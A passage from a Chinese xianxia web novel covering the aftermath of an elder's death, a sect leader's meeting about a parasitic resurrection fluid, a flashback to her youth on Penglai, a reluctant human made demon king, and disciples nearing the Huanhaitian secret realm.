于是从此之后,收尸一事,不分门派,不分立场,成了修真界共识。 哪怕今日得胜的是一群妖,它们也会这么做的。 夜色渡在那片破烂的白衣上,血迹成了点点的红梅,在众多残尸里,这样的惨烈似乎只算是寻常,然而邹娥皇却嗅到了一股熟悉的药味。 她回头看向昆仑,果不其然人群中少了一个橘子皮老头。 “怎么回事” 邹娥皇问何九州。 其实她心里也有几分答案。 邹娥皇上次见何九州的时候还是个怼天怼地的中二少年,一张嘴叭叭叭地将蓬莱上下贬了个便,如今像换了个人似的,那张刻薄的嘴抖了又抖,最后却只狼狈地发出了一声类似于兽类的呜咽。 何九州灰败着脸答道:“为了拖住久俊,自爆死了。” 天机子,就这么自爆、死了 邹娥皇半蹲下身,拿木棍翻了翻这残破的白衣。 她心情有些沉重。 还有几滴不听话的水珠想从她眼角滑落,但是幸好被夹住了。 何九州:“那个老头一直偷奸耍滑,整日里和我说自己的时候如何如何威风,说宴霜寒也比不过他的剑,说要我努力追赶他的剑道可是他现在死了,窝窝囊囊地死了。” “我怎么追赶一个死人的黄泉路” 何九州顿了顿,笑意微嘲。 “我的师父败给了久俊,而久俊败给了你。当年昆仑剑皇一剑威名由蓬莱容有衡托起,如今我师父的死,也成为了你一剑威名的点缀了。” 何九州还记得那日开山大典上,他佩着西吹雪去蓬莱论道,一开口就是拉踩。 现在么可真应了那句,风水轮流转,苍天饶过谁。 邹娥皇终于抬头转向他。脸色却并非何九州想象的悲痛,而是极其古怪的神色。 邹娥皇:“你说他是自爆” “不,天机子不会自爆,”邹娥皇闭眼,神识放出,左手覆盖在这千疮百孔的剑服上,最后停滞于袖口至今微散的灵力波动处。 邹娥皇嘴角一抽。 果然,她认识的天机子,从来不是什么勇于自爆的人形炸弹。 “这老头没有自爆,他只是运气不好。” 众人齐刷刷地看向邹娥皇。 只听她幽幽叹息道:“灵气汇聚在指脉,毒素也聚集在这里他本来是想撕裂空间把久俊送走的,但毒素与灵气相撞,就爆了。” 邹娥皇用手指点了点衣服上灼烧的袖口,又说:“天机子为何天人五衰,你知道么?” 何九州嘴唇动了动,很明显是在犹豫该不该在大庭广众之下回答邹娥皇,最后还是曲轻云拍了拍他的肩膀,劝道:“说罢,无妨,今日没有什么外人。” “师父他,是为了挑战天道限制,”何九州说,“他从前收我的时候,便说‘别人都说你这孩子天煞孤星,克父克母,偏我不信这什么天煞,无论如何也要养着玩玩看’于是像他这样的性子,自然也看不惯只有大乘才能掌握的空间之力,为了和他们一样撕破虚空,他宁愿天人五衰修为止步不前。” “是么?” 邹娥皇叹息。 “我从前也像你这样信了他的鬼话。” 邹娥皇双指挑起了衣布,“但你我都忘了,这一位可是一个最会骗人的。” “他不是为了对抗天道,他是为了对抗当年的自己。” “昔年的幻海天秘境,我们或许都在里面留下了什么执念,宴霜寒因为得不到不死神木的种子,最后选择了砍下不死神木的根脉铸剑,我么,则是种下了骄傲,深信自己是天之骄子,于是才会在后来的天骄宴上蹉跎生。” “那你知道,你的师父,他留下了什么执念吗?” 邹娥皇抬手,挂在何九州身侧的西吹雪嗡嗡作响,最后却纹丝未动。 如今这已经是一把无主之剑,但是却还有几分宝剑的骨气,并不因要驱使它的人是邹娥皇就从何九州身上离开。 众人吁出了一口气,心中莫名有几分的不是滋味。常人都说说剑如其人,果然不假,此剑便如天机子这犟种,贫贱不能移,威武不能屈。 哎,想当年,那天机子也该是一名响当当的好汉吧。 何九州嘴唇动了动。 师父的…执念 他想起了这老头抱着酒不撒手的模样,迟疑道:“美酒?” 就在这句后,佩在他腰侧的西吹雪发出一声长鸣,粉红色的香囊绳子松动,从剑柄处脱落,但并没有跌落到地上,而是被一团淡白色的灵气托起。 何九州神色微变,他没注意过这香囊。 毕竟天机子风流好色,不曾是秘密。 只是如今大庭广众之下掉了这样耐人寻味的香囊,他替他已经化成灰的师父觉得晚节不保。 谁料人群中先出声的竟然是尹婉。 此刻她已经换了一身妥帖的装束,光鲜亮丽,一如初见。 尹婉打量着这香囊,视线凝聚在那暗暗发光的丝线上,“这是当年秘境里的东西。 ” 邹娥皇微笑,“是啊。” 她转向何九州,一字一句道:“你师父,在那场秘境里,憋住了一口气。” “为了那口气,他哪怕渡不过渡劫神境,却也要拼上天人五衰,去摸这碰不得的空间之力只为了完成当年的承诺,即从秘境里带出一个人。” 话到一半,邹娥皇长嘘了一声:“自古昆仑多出情种。” 容有衡神色微妙,盯了他师妹一眼,心气不顺地长哼一声。 …… 修真纪年3249(从最后一代周王停止统治时间开始的记录),幻海天秘境历经近百代,第一次提前开启。 此年,妖族久俊妖王一脉自此陨落。 妖界纷争不断,最后被一草精掌权。 有小妖传言,曰这新代妖王血统不纯,疑似有人族血脉。 有数十妖族,哭嚎前王久俊,愿为守丧三年。 还有人说,修真界代代变,但这天下,归根结底还是剑修的天下。 话归正题。 当众人还在逍遥门里历经生死之际,七彩阁阁主尹月继蓬莱道祖之后,又敲响了三声钟鼓。 关于七彩阁阁主尹月,人人心知肚明三件事。 第一么 ,这是个美人。 传说里美得像牡丹花一样,是这世上唯一一个能和李千斛不相上下的大美人;所谓明眸皓齿,风情万种,一见倾心在她身上不是虚言。 第二么,这还是个强者。 几千年前自西岭而出,承天女志,设七彩阁于东海临涯,前有龙主后有龙王,偏偏是她撑起了天下第一灵矿,稳当当地坐稳了五派霸主的地位。 第三么也是最重要的是——这人脾性阴晴不定,就像是那变化莫测的天气,上一秒还笑语晏晏,下一秒恐就是电闪雷鸣。 这些年,拜倒在尹月石榴裙下,恨不得把心肝脾肺肾都掏出来搏美人一笑的人始终都有一个不解的疑惑。 “你们说她倒底是想要什么呢?” 第69章 尹阁主的少年时代 七彩阁主峰, 云雾缭绕,朝霞暖日。 尹月坐在雕花紫檀椅上,众人坐在地下仰头看, 只能见得一片淡紫的纱布,藏在纱布后面的才是若隐若现的影子。 越海坐在矮她一头的长椅上暗骂一声:这娘们还是这么爱搞派头。 “人都到齐了,尹阁主有什么话就快说吧!”鬼谷掌门皇甫芈拂袖道。 近百年七彩阁行事张扬,隐隐有摆脱鬼谷与墨庄与昆仑蓬莱并列的趋势, 因此相比于上个月蓬莱的那次召集,这一次仙门众人虽来的全,但脸上都是戒备与微嘲。 “人都到齐了么?” 紫纱后, 尹月轻笑了一声。 她道:“本座看未必吧。” “上次蓬莱道祖敲响三次钟, 不消一炷香、一碗茶的功夫,全仙门上下能说得上话的,座无虚席。而今日, 本座敲响三声钟, 足足在这里侯了诸位一个时辰,人才稀稀拉拉地来了一半, 是, 门派是来全了,可是能说得上话的人,来了么?” 角落里响起了几声哄笑。 一紫袍妙玉巾的人放下了手里的茶,单手支在膝盖上,却道:“尹阁主好脾气, 也不必觉得我们这些人欺负你七彩阁,幻海天秘境开启在即, 比起之前自然各个门派的主要话事人有所不全。” “更何况,”那紫袍男子大笑, “昆仑剑皇明明在昆仑,但他没有来,要我说,阁主若是要立威,何必挑我们这些小虾米。” 众人面面相觑,都品出了男子话里的火药味。 这 谁不知道,那剑皇如今早已入魔成了魔尊,现下这个场合,哪里能来?可依着昆仑对宴霜寒的维护程度,又哪里容得下旁人说他半句。 再看昆仑那边,来的不过是一名老头和几名年轻弟子,那老头胡子眉毛一大把,背后存了把宽剑。 老头压住了身后那些险些要亮剑的小剑修,笑眯眯地摸了把白胡子,接着朝上看了眼紫纱后的虚影,又瞟了眼紫袍男子,然后才徐徐开口,接过了话茬:“挑灯何须隔岸火,有话不妨直说。” “这次宴霜寒这小子没来,老夫竟不知,还有您在这里记挂着他,也好,老夫回去后便帮你捎句话,剩得您在这里牵肠挂肚。” 紫袍男子心虚道:“我说的不是这个…” 却见昆仑那老头双指并起,锃地一声宽剑出鞘。 “说的不是这个?” “好呀,那您就是觉得我在昆仑的辈分低了,不够出席这等会议了——” 刹那间鸦雀无声。 唯有高台上的尹月,百无聊赖地吹了吹场甲,冲着老头似笑非笑道:“您可是昆仑四长老,宴霜寒在您面前都只能喊句师叔,谁敢嫌您辈分低。” 砰然一声,方才还雄赳赳气昂昂的紫袍男子跌在椅子上,满头虚汗。 昆仑四长老这才收剑,笑眯眯地坐回原位,然后意味深长道:“月丫头竟能认出老夫,只是酒菜还要趁热吃,再端着可都凉了。” 得了这句话后,尹月才终于挥手。 满天红绫从她指尖溢出,天色一下暗沉了下来,四长老抬头,密密麻麻的红绫交叠在众人上空,遮住了日光,接着殿内四角在同一时间点亮了夜明珠。 “叫诸位见笑了,”尹月低笑,“我没有道祖那样的手段,想要遮掩天机只能用些外力。” 虽说是见笑,然而众人都能看出尹月神情背后的倨傲,以及这一手展露出的实力。 在修真界,刚刚那些嘴皮子功夫终究只是小打小闹。 到最后要看的还是这拳头。 谁硬谁说话才好使。 像雁过无痕、杀人无声,这扭动在众人上空,看似绚丽实则强横的红绫,才是今日真正的敲打。 尹月身子坐正,只腿还翘着,红丹丹的甲蔻勾人心弦。 “几日前,七彩阁收到了逍遥门的信,说是有关飞升的机密。逍遥门么,大家可能没有听过,是在冀州边境的小门派,于是一开始我并不相信。” “直到后来,他们的掌门在信中声泪俱下地说要带着逍遥门投奔我七彩阁,甚至,还给了本阁主一件意想不到的礼物。” 尹月拍了拍手,一排侍女抬着几口木箱子走了进来。 “这些木箱子里面封存着一些黏黏糊糊的东西,被逍遥门的人称之为神目,据说涂抹在伤口处,有肉白骨,活死人的功效。” 尹月说到这里顿了顿,指向东海的坐席,“肉白骨、活死人,这样的东西,哪怕是我,也只听过东海龙宫深藏多年的那个宝贝有如此功效。” “如此我并未轻信他们说的话,反而更加狐疑,拿这神目先涂抹在先前死去的小兽身上,结果发现这信里说的竟字字属实。” 尹月又拍了拍手。 第二排的侍女打开了一口木箱子,几个后排的侍女也依次打开了木箱。 待看清楚木箱里面的景象后,众人呼吸一滞。 这里面都是些生得极为恐怖的小兽,就像是绣娘拿一阵阵一线线拼出来般的滑稽。 “然后我便发现,我的小兽虽然活了,但是却变得奇形怪状了,原本是条鱼,重新生出的模样却多了两条腿。有了这个发现后,我又多试了一些,发现无一例外,那些小兽都多了身上原本没有的特征,而且性情大变。” 尹月道:“就在这个时候,本阁主还尚且以为这是什么有副作用但效果显著的神水。于是便命几个出发幻海天的人前去和逍遥门商谈,不瞒你们说,这样是防着你们和本座争抢。” “只是”尹月冷笑,“若事情真这么顺畅就好了。” “昨日,我将这神水施于门内一位早死的长老身上,”尹月面色镇重,“如我所料,那位长老真的活了过来,但是活过来的或许并不是我七彩阁的长老” 尹月拍了拍手,最后一排的婢女走了上来,和前面那几个扛箱子的不一样,这两个婢女抱着约有一人高的条形物体走了进来。 接着红布一扬。 露出了一个被捆的严严实实的人,只有青白的脸完**露在空气里。 那张青白的脸受到夜明珠的照射,脸蛋渐渐出现了血色,眼皮不安地颤抖,干瘪的下嘴唇渐渐伸出了妖类的獠牙。 侍女用锦帕托着那人的下巴,硬生生地掰开了两根獠牙。 然后不出片刻,那两段獠牙竟又生了出来。 更让人胆寒的是,被捆绑起来的人似乎也没有任何意识,只有一味的从喉咙里发出类似蛇类的嘶嘶声。 “这* 。”众人心里一咯噔。 尹月两肩一耸,承认了众人的猜测。 “这就是那个被复活的长老,但是比起复活,你们也看到了,更像是一种寄生。” “本阁主昨夜一宿没睡,就是在想,逍遥门这个所谓的神目,究竟有什么用,然后本座就发现了一件事,那就是无论是用刀切割那些异兽还是那位长老,他们的身体都会流出和神目一样的液体而那些神目,一开始也并不是只针对死人有效,在牺牲了三位近侍,以及九位弟子斩断胳膊之后,本座换了一个角度看待这个问题。” 众人只见尹月晃着手上不知何时出现的透明瓶子,“这些神目,更像是一种蛊虫,只要沾到血液或者人的表皮内就会发作,若不及时处理,最后只能变成没有神智的怪物。” 尹月叹道:“若是论威力,一万个宴霜寒的剑也比不过这么一小瓶神目可怕。” 在座的都没有傻子,听尹月把话说到这份上脸色逐渐凝重了起来。 单看一小瓶液体,便是感染能感染几个人几匹兽,可怕的不是这一小瓶,而是它所引起的连锁反应。 而这其中,鬼谷与墨庄的人,又比旁个更显得坐立难安,火烧屁股。 “然后就在刚刚,本阁主查到了一件很有意思的事,逍遥门不是只给七彩阁这样的消息,而是绕过了昆仑与蓬莱,和五大门其余的三派都通了信。” 只见那美人叹息,轻柔道:“只是不知道鬼谷和墨庄到底是并不知祥情,还是说另有祸心?” 此刻大殿静的连针掉到地上的声音都能听出。 尹月想,多有趣。 她在这里同这些各怀鬼胎的人坐在一起,商讨的却是修真界的未来。 尹月想,又多无趣。 她十七岁出走蓬莱,如今五千年过去了,除了坐的地方不一样,打交道的却还是这些堪比魑魅魍魉的人心。 蓬莱想起蓬莱二字,尹月忍不住看向了蓬莱的席位,却并没有看见那个熟悉的身影。 这些年来,修真界举办的会议其实不少,除了今日这样的场合,还有大大小小杂七杂八的会议,如幻海天利益分配一类的,在别的门派通常都是轮流派人来参加,而独七彩阁,尹月是一定会出现的。 没有人要求她一定来。 但是尹月一定会出现,然后在与众人唇枪舌战的间隙里,心神忽而飘向了蓬莱。 然而,就像尹月不会缺席每一场会议的同时,邹娥皇也不会代表蓬莱参加任何一次会议。 有人曾猜过,这位少时昙花一现的邹剑仙,是为了躲避天骄宴的失败,才从不在众人面前出现。 但这世人多蠢材—— 自以为把一切都看得明白透亮的七彩阁阁主,低讽一笑却是想,邹娥皇哪是为了躲宴霜寒,分明是为了她,为了她——尹月! 为着她年少那句,“你烦不烦啊,这里你要显摆,那里你要凑热闹,邹娥皇,你能不能不要在我面前再出现了,我很烦你,你知道吗!” “我一点都不想见到你,一点都不想,懂吗?!” 还记得十七岁那年,尹月负气下岛,憋着一泡泪,临行前将邹娥皇的小院砸了个稀巴烂。 那一年五大门派只成立了两个,尹婉还没有和肖贵相遇,邹娥皇的剑还没有几经蹉跎,大周的步撵还没有寻到蓬莱的仙岛。 命运的齿轮还没有开始转动。 只有一个叫尹月的小女孩,踌躇满志地成为了西岭选拔出的天女,憋着一口气要拜蓬莱道祖为师,梦里要成为这天下最厉害的人,却在寻到蓬莱岛后,只得了道祖两个字—— 不收。 没关系,尹月擦干脸上的汗水与灰尘,她知道这个世界从无易事,所以埋怨与自暴自弃都是多余的,她把目光对标到当时蓬莱岛上唯二的两个弟子,容有衡与邹娥皇。前者是当年力排众议的金丹之下第一人,后者却和她年龄相仿,甚至处处不如她的一个小姑娘。 尹月怀着某种复杂的心情,开始接近邹娥皇。 她们在同一个时辰起床,作弄了道祖的蒲团,钓着水池里的锦鲤,骂着凶巴巴的容有衡。日子如流水,一日复一日。 蓬莱岛上的日子委实是太平淡了,平淡到尹月都险些忘了一开始的目的,忘了自己不是岛上的人。 终于有一日,尹月端着药膳走进蓬莱道祖的洞穴。 她放下药膳在桌面上。 也是在这一日,她看见了被翻开的降世书,也看见了所谓裁决者的寓言,一把横空出世的救世之剑。 那一刻,凭空出世、邹娥皇、剑、复杂的信息涌入她的大脑,她隐隐觉得自己好像窥探到了真相的一角。 命运的齿轮终于开始转动。 日落月出,蓬莱道祖回岛。 “道祖。” 半山腰上,面色苍白的尹月叫住他。 “我来蓬莱修行也有几个月了,您还不打算收我么?” 蓬莱道祖说,还没有。 尹月面色更加苍白,神色一滞,然后徐徐道:“那我有个问题想问问您。” “您不收我,我不怕,我照着容有衡和邹娥皇一遍遍反省自己,只要您老再收第三个徒弟,我就有信心是第三个!可是我越照着这两人学习,我越绝望——” 尹月向前走一步,“容有衡虚伪又刺毛,但他强大,所以我不说什么了,但是邹娥皇呢?她懒惰、悟性低、不是天高地厚——我看不出她的优点和可取之处,我只能看见,您偏心!” 蓬莱道祖说,你和她认识几个月了,你从她身上能看到的只有我偏心么? 尹月说,我不仅能看到你偏心,我还能看到了那本书上的寓言,你沽名钓誉,想要这天下救世的功德,又怕救世的风险,所以才让你两个徒弟去学剑,容有衡你管不了,你便蛊惑邹娥皇,让她非剑不可! 说这话的时候尹月声嘶力竭,好似要把所有的惶恐都吐出来。 蓬莱道祖说,尖牙利齿的小丫头,如果真的按你说的那样,你何必还要拜我为师。 尹月说,那是因为我要跟着天下最强大的人,学这世上无双的法术,我比那个邹娥皇聪明,不会受你的影响,我有野心,但也能兜得住野心背后的深渊我也有救世的能力,选择我,才是两全其美。 蓬莱道祖说,“那依你之见,我收邹娥皇,其实是在害她咯?你想修行无上法术,你怎么知道她不想?” 尹月吼道:“她就是不想!” 然后话一出口,尹月才顿住了,眼神微颤,是啊,在这个人命如草芥,修者称王称霸的地方,自己凭什么这么笃定邹娥皇不想要这一切。 对面白衣仙仙的蓬莱道祖微微笑,却道:“对呀,看来你也清楚,邹娥皇倒底是个什么样的人,她懒惰不假,悟性又低,骄傲自满,对人毫无戒心,但有一点,她也和你们都不一样,在她眼里,修者与凡人都是人,她不会因为一开始的无法修炼就停止前进,也不会因为追逐无上仙术就丧失了做人的原则。” “你说你比她好,本座竟未觉。” 夜风微凉,明月高高挂在半空中。 循循善诱的老者已经走远,而衣衫单薄的姑娘还赤着脚站在原地,满地月霜浸不湿绿草茵茵。 她只是站在原地,双手紧握,身体微微颤抖。 许久,尹月抖着唇,浑浑噩噩。 她其实也忘了为何那日要固执的站在那里等道祖,她其实也忘了这些日和邹娥皇的相处到底是真情多还是假意多。 她其实也忘了,那天到底是要给邹娥皇冥冥失去的选择权出口气,还是要借题发挥向道祖表达识人不清的不满。 她其实也忘了。 她只记得自己最后对着无人的空地喊了那么一句:“你就是偏心!” “我比她优秀,我比她勤奋,我比她悟性高,我才应该是你的徒弟,你就是偏心!你把鱼目当宝贝,总有一天我会让你后悔的!” “总有一天,你们都会后悔的!” 第二日,尹月就离岛,离岛之前,借着最后那股劲儿,把蓬莱岛上下都砸了个稀巴烂,容有衡与道祖的地方因为有禁制躲过一劫,独独什么值钱东西也没有的邹娥皇摊了大霉。 离岛前邹娥皇来拉她,尹月拍开邹娥皇的手,说以后不想再见到她了 这些年无论怎么回想起这段往事,尹月始终都是觉得,自己没错的;直到那日许久未曾响动的通灵玉传来了耳熟的铃声。 尹月才发现有些东西,其实骗不了别人,也骗不了自己。 她不想见的不是邹娥皇。 一直不是,从来不是。 她不想见到的,是过去的自己,自卑而敏感,不服输而拧巴的自己。 当年的真相未必是真相,甚至那本降世书都有可能是被人特意摆在那里的,就等着她去看,但尹月还是中套了。 再来一百次一万次,当年的尹月都会多张望那一眼,然后下山。 没有那个拧巴的小姑娘,就没有现在这个风情万种的尹月。 …… 被点名的两派人面色难看,须臾,黑色斗篷的鬼谷长老径直站了起来,向前一拱手,然后冷笑道:“大局当前,尹阁主不必挑拨离间。鬼谷行事如何,诸位都看在眼里,在灭魔行动里,我们失去了唯一一位踏过渡劫神境的长老,二十年前,妖族一战,我派青年子弟,无一不在前线,这中个损失恐怕千年也难弥补论起对人族的忠心,鬼谷不输昆仑蓬莱,也觉不虚小小一个七彩阁!” 墨庄长老点头,“墨庄也是一样的。” 墨庄长老又顿了顿,似顾及到什么一般斟酌道:“尹阁主,刚才我们多有冒犯,此事兹事体大,还望赐教。” 紫纱从中央向两侧收起,朵朵娇艳欲滴的鲜花从云砖上凭空生出;紫檀椅上翘起二郎腿的女子腰身微斜,团扇掩面,只露出了双无情也动人的水眸。 她微微笑,胜卷在握犹如沙场上的常胜将军,而论绝色风情却又不输天上神女。 尹月从高处俯望座下众人,仿佛君临天下。 这个时候的尹月,她在想什么呢? 她是在想那年蓬莱岛的朝霞,或是在想未来七彩阁的盛世——亦或只是,得偿所愿。 …… “你们再说一遍我是谁?” 李三双手双脚并用,微凉的地砖硌着他的膝盖,但是他却感觉不到丝毫的凉意,只是畏首畏脑地抱着凳子腿,躲在屏风后面张头往外看。 今天早一起来,李三就觉得不对劲。 上一次觉得不对劲,还是他在密州酒楼那里自作主张地说要当间谍,结果来到妖界后,才发现当初走的太草率了,连接应方式都没留下。 最后只能苦哈哈地进了地牢。 半个月来,别说是探查妖界的阴谋了,唯一干过的一件大事还是参加了狱友的越狱计划嗯当然啦,以李三的性子,他既不是活动的发起人,也不是活动的主持人,他只是一个被牵连的倒霉蛋,最后被供成了同伙之一。 而这一次——他环视四周,只看见一片金碧辉煌,分明是妖界皇宫的模样,且他一醒来,就有几个平日里自诩血脉高贵的豹妖对着他呲牙笑。 只听得锃的一声—— 长枪划破空气,十几名豹妖冲着他的方向拜拳。 “参见新妖王!” “我?” 李三吞了口唾沫,第一反应竟是:“我什么时候变成妖了?” 有机灵的内侍立刻呈上镜子,谄媚道:“您别谦虚了,您瞧瞧,这是多么尊贵的标志啊。” 李三看向镜子。 只见铜黄的镜面里,他仍然是他除了发缝里,蹦跶出了一簇绿油油的草。 在这一簇小草里,有一株格外的顽强俏皮,正随风招展。 第70章   这是多么正宗的绿色啊。 这是多么正宗的绿色啊。 绿油油的长刺儿, 从最中间开始,完整地分开了他的两侧头发,个性又醒目。 如果不是出现在自己头上, 李三都能乐呵呵地夸句有种儿。 可这么有种的发色儿,居然是他的。 “什什么情况?” 李三打了个哆嗦。 有长眼神的小妖立刻跑上前来,替他揉肩捶背。 “大王,您这是睡糊涂了, 您忘啦,昨晚妖王驾崩,这代妖王久俊尚无子嗣, 按照规定, 谁最后被上古的传承选择,谁就是下一代妖王。” 上一代准确来说,应该是上上代妖王久俊, 也就是在人前“斩杀”容有衡的那一只, 就曾考虑到过如今的局面——如果久俊一脉覆灭,下一任妖王何去何从。 最后得出的结论是, 之前咋办, 现在就咋办。 之前的妖族在久俊一脉没有执掌政权之前,都是由一株上古神树的种子选择妖中领袖,当然了,束缚力并不强,各大妖族还是占山为王, 当时的妖中领袖约等于花瓶。 但是现在不一样了,短短二十年, 妖族的发展已经离不开一言九鼎的妖王了。 于是乎昨夜,正准备秋后问斩的李三, 就这么水灵灵地变成了新一届妖王,实现了从人到妖的一大转变。 李三哆嗦了下,他想说他知道,只是为什么,会出现在他头上,他只是个人啊 然而看着满目凶神恶煞的大妖,他明智地换了个话题,只指着头上那撮草问:“就这?” 这就是上古的传承? 大妖惊叹道:“是吧,您也被这造物主般神奇伟岸的传承震撼到了吧,难以想象,上古的传承居然如此的美丽、富有生机。” 李三瞥了它一眼,问:“你是不是这里面官儿最高的?” 大妖谦虚道:“卑职不才,昨夜刚刚提拔为妖界大将军,兼任豹族族长。” 难怪。 李三想,当初如果自己有这豹子妖一半的口才,也不至于趋炎附势好几年,结果一出事就被开了。 李三照了照镜子,努力忽视头上的一根草,心想这或许就是传说中的大智若愚吧不,返璞归真。 李三磕了磕嗓子,努力适应自己的新身份,然后对着大妖道:“之前大牢里压的那批人呢?带我去看看。” 不管如何,有了这层身份,就要好好利用嘛。 妖界大将军呶嘴“嗻”了一声。 如果李三仔细看这位眼角里都堆满了笑纹的豹妖,必然能发现那藏在谄媚之下的恶意。 妖族自古与人族势不两立,新一届妖王偏生落在了这个手无寸铁的人族修士头上,岂不是滑天下之大稽。 半个时辰前,众妖对于到底是留李三一命,还是干脆把他斩首以平息怒火之间摇摆不定的时候,这豹妖挠了挠下颚,咧嘴笑道:“何必这么麻烦,干脆就放他一个傀儡王又如何?要我说,咱们妖族本就不应该学人族那些乱七八糟的东西,之前碍于久俊面子我没有说,如今我想问要个妖王放在你我头上倒底有什么用?没有妖王,诸位与我回家各当霸王不好么。” “如今不过只是需要一个妖王,稳住妖族那些贱妖们罢了,何必在意什么身份。” “只是也不能就把他那么放在那里。” 豹妖话锋一转,面上已带笑:“小妖不才,比不上诸位哥哥们修行任务重,愿意多担累点看管这傀儡妖王。” 众妖一愣,然后面面相觑。 这豹妖说话言不尽实,但足以哄住这一群脑袋比瓜子还小的妖将们了,但凡多个人族谋士在这里,必然能拍案叫绝,好一场挟“妖王”以令群妖! 此刻,这怀着某种不臣之心的豹妖一边在前面开路,一边对着李三道:“妖王陛下,刚刚收到一封密报,杀害上一任妖王的人已经找到了,名叫邹娥皇,您看咱们要不要出兵” 李三脚步一顿,面流冷汗:“出兵?出什么兵!” 豹妖善解人意:“妖王所言极是,如今妖界损失惨重,确实不宜再度出兵,不如派出两位妖将级高手,混入幻海天,杀人于无形,也算是给妖王报仇了。” 李三咽了口唾沫,断然拍案道:“不成!” …… “他那句是倒底是什么意思呢?” 一日后,通往幻海天秘境的必经之路上,邹娥皇皱着眉头,扒拉着野花的花瓣,一边揪一边说一句:“师兄喜欢我。” “师兄不喜欢我。” “师兄喜欢我。” 青度被她绕晕了,须臾间抽出乾坤剑,将这朵秃了的花拦腰斩断,省得她师伯再在这里折磨她的耳朵。 青度:“邹师伯,你既然这么纠结,为什么昨日不干脆拦下大师伯问问?” 邹娥皇呆呆地转头看向青度。 逍遥门事件一别后,比起其余三派,昆仑、鬼谷损伤惨重,直接少了两个带队长老,因此曲轻云等人目前并未离开冀州,而是等着门派与十四盟商议,选出一名新的带队长老。 而容有衡,这人素来神出鬼没,唯有昨夜像是落水狗般落荒而逃。在邹娥皇感叹完那句昆仑自古多情种后,这家伙就轻哼一声,冷着脸背着身,形单影只地融入了这潇潇月色里。 邹娥皇本有心要问对方去哪里。 但是酒醒之后的她,脸上酡红褪去,那句师兄含于口中,一会儿脑海里是那句“喜欢你,是”,一会脑海里是渡劫神境里穿着红嫁衣的师兄。 她对着容有衡,嗓子里如今是卡不出半个子儿了。 哎,果然喝酒误事。 邹娥皇想,她以为她穿书就已经够特别的了。 没想到大师兄居然还有个重生buff。 越蓬盛在前面用一根草绳牵着镇魂兽探路,听到后面的谈话声,忍不住插了一嘴:“青度你不要这么大煞风景好吧,你知道一段恋情最美好的时光是什么时候么?” 青度没搭理他,谦立延倒是蛮有兴趣地问:“什么时候?” 越蓬盛语气充满憧憬:“在最朦胧的时候,郎情妾意,欲说还休,只差一纸窗户没捅破时,过了那个阶段之后,就是鸡飞狗跳,甚至是鸡飞蛋打。” 谦立延赞叹,“听着有几分理儿。” “我倒不这么看。” 车轱辘与硬石发出刺啦的声音,姜印容划着轮椅从众人身后出现,她勾着下巴眯眼笑,然而越蓬盛却无端觉得冷嗖嗖的。 “喜欢不一定是男女之情呀,同门几千年,就是条狗也该养出感情了。” 姜印容说话的时候意有所指,越蓬盛愤愤不平地在邹娥皇耳边说,“她怎么能把你比作狗呢,这也太过分了吧。” 邹娥皇白了一眼越蓬盛:“我谢谢你指出来哈。” 怎么就这么笃定她是狗呢。 邹娥皇叹了口气,如果师妹在这里就好了,师妹好歹结过一次婚,还是天下第一美人儿,追师妹的人能从蓬莱排到昆仑,肯定能分析出大师兄的想法。 “邹师伯,有句话我不知当讲不当讲。” 越蓬盛挤眉弄眼:“俗话说得好,苍蝇不叮无缝蛋。如果你和你师兄之间清清白白,什么也没有,一句喜欢何以让你方寸大乱,反言之——” “那两人就是有什么咯?” 邹娥皇一愣。 还记得当初尹月也曾打趣儿过她和师兄,可当时她还什么反应也没用,如今却大动干辄,确实是不太正常,又或者是,她受了渡劫神境的影响,先入为主,居然开始真的思考起和师兄关系了。 须知五千年啊,但凡有半分苗头,孩子都该成为修真界一霸了。 “谢谢你,”邹娥皇暂时舒了口气,真诚地拍了拍越蓬盛的肩膀。 几人又走了一日,两侧茂密的树林逐渐消失,泥泞的山路也渐渐的变成了黄土。 “我还以为幻海天是一片海” 越蓬盛叹道:“可怎么越走越干巴” “幻海天是片海,”邹娥皇说,“天下四海之一,也是唯一一座以秘境形式存在的海。” 越蓬盛更加幽怨了。 “北海是一片严寒,东海有龙族龙主七彩阁三霸,死海是魑魅魍魉,幻海天居然在沙漠里,咱们修真界真是什么都有,就没有正常的海啊!” 青度嗤笑:“你还想要什么正常?” 越蓬盛叹道:“最起码能用留影珠合张影的壮阔风景吧。” 邹娥皇心念一动,从乾坤袋里翻出了一颗留影珠,“是这样的么?” 留影珠上,笑容灿烂的少女抱着写着名字的石碑,身后是用屏障隔着的幻海天。 “师伯,你那个时候——” 越蓬盛来回对比留影珠上的身影,和现在的邹娥皇,艰难道:“现在长高了好多哈。” 青度则说,“师伯,你是不是和拍照的这个人有仇。” 邹娥皇想明白了这俩人是啥意思后,笑容渐收。 她背手转身,将众人打趣的留影珠收了起来,咳嗽了一声却是道:“既然都走到这里了,马上就要进入幻海天入口之前,我和你们讲讲幻海天吧。” “幻海天,名字里带有一个幻字,便注定了这秘境的主题和幻术的修行是离不开的。” “当年还有一个很有意思的观点是——” “幻海天里面其实根本没有一滴水,只是建立这秘境的原主人,用实力强大的幻术,麻痹了所有人。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 70-80 第71章 师兄帮你 “修真界有个很有名的定律, 不知道你们听过没有。” 呼啸的长风裹起黄沙迷了众人眼。 邹娥皇道:“此消彼长。这世间万物的生机必然是有限的,一鲸落,万物生, 从来不是虚言,埋葬过修者大能的地方,来年必是绿草茵茵,万物复苏, 而养出一位金丹以上仙人的地方,则必然一年比一年衰弱。” 越蓬盛挠了挠头,眼睛一瞥四周的荒芜沙地, 心有顿悟, 道:“师伯,你是说,这片土地上曾经出现过一个顶级的大能, 才会将这一切都消耗殆尽。” “甚至这位大能, 有可能就是幻海天秘境的原主人。” 邹娥皇点头继续道:“关于幻海天秘境的出现,有两个版本也因此衍生。但无论哪个版本都是说, 当年幻海天这片地, 是万年难得一见的福地,而在这里诞生了修真界第一个飞升的仙人——” 谦立延打断道:“修真界不是从来没有人飞升过么?”旁边的孙峰贰也跟着问。 姜印容则是一脸的若有所思。 “一看你就没好好听过道祖的课,”越蓬盛打了个哈欠,“若这世上从未有人飞升,又何来飞升之词?” “只是飞升之后的人, 便脱离了天地法则,于是他们的名字, 也不会在你我口中流传了。” 邹娥皇:“不错。” “但是关于这片地到底有没有天下第一位飞升者的出现,也只是众说纷纭。但你们有没有发现, 越往前走,离幻海天越近,你们能施展出的法术就越来越少,在这片土地上,灵气稀少到…” 邹娥皇顿了顿,意味深长道:“修真者几乎和凡人无异。” 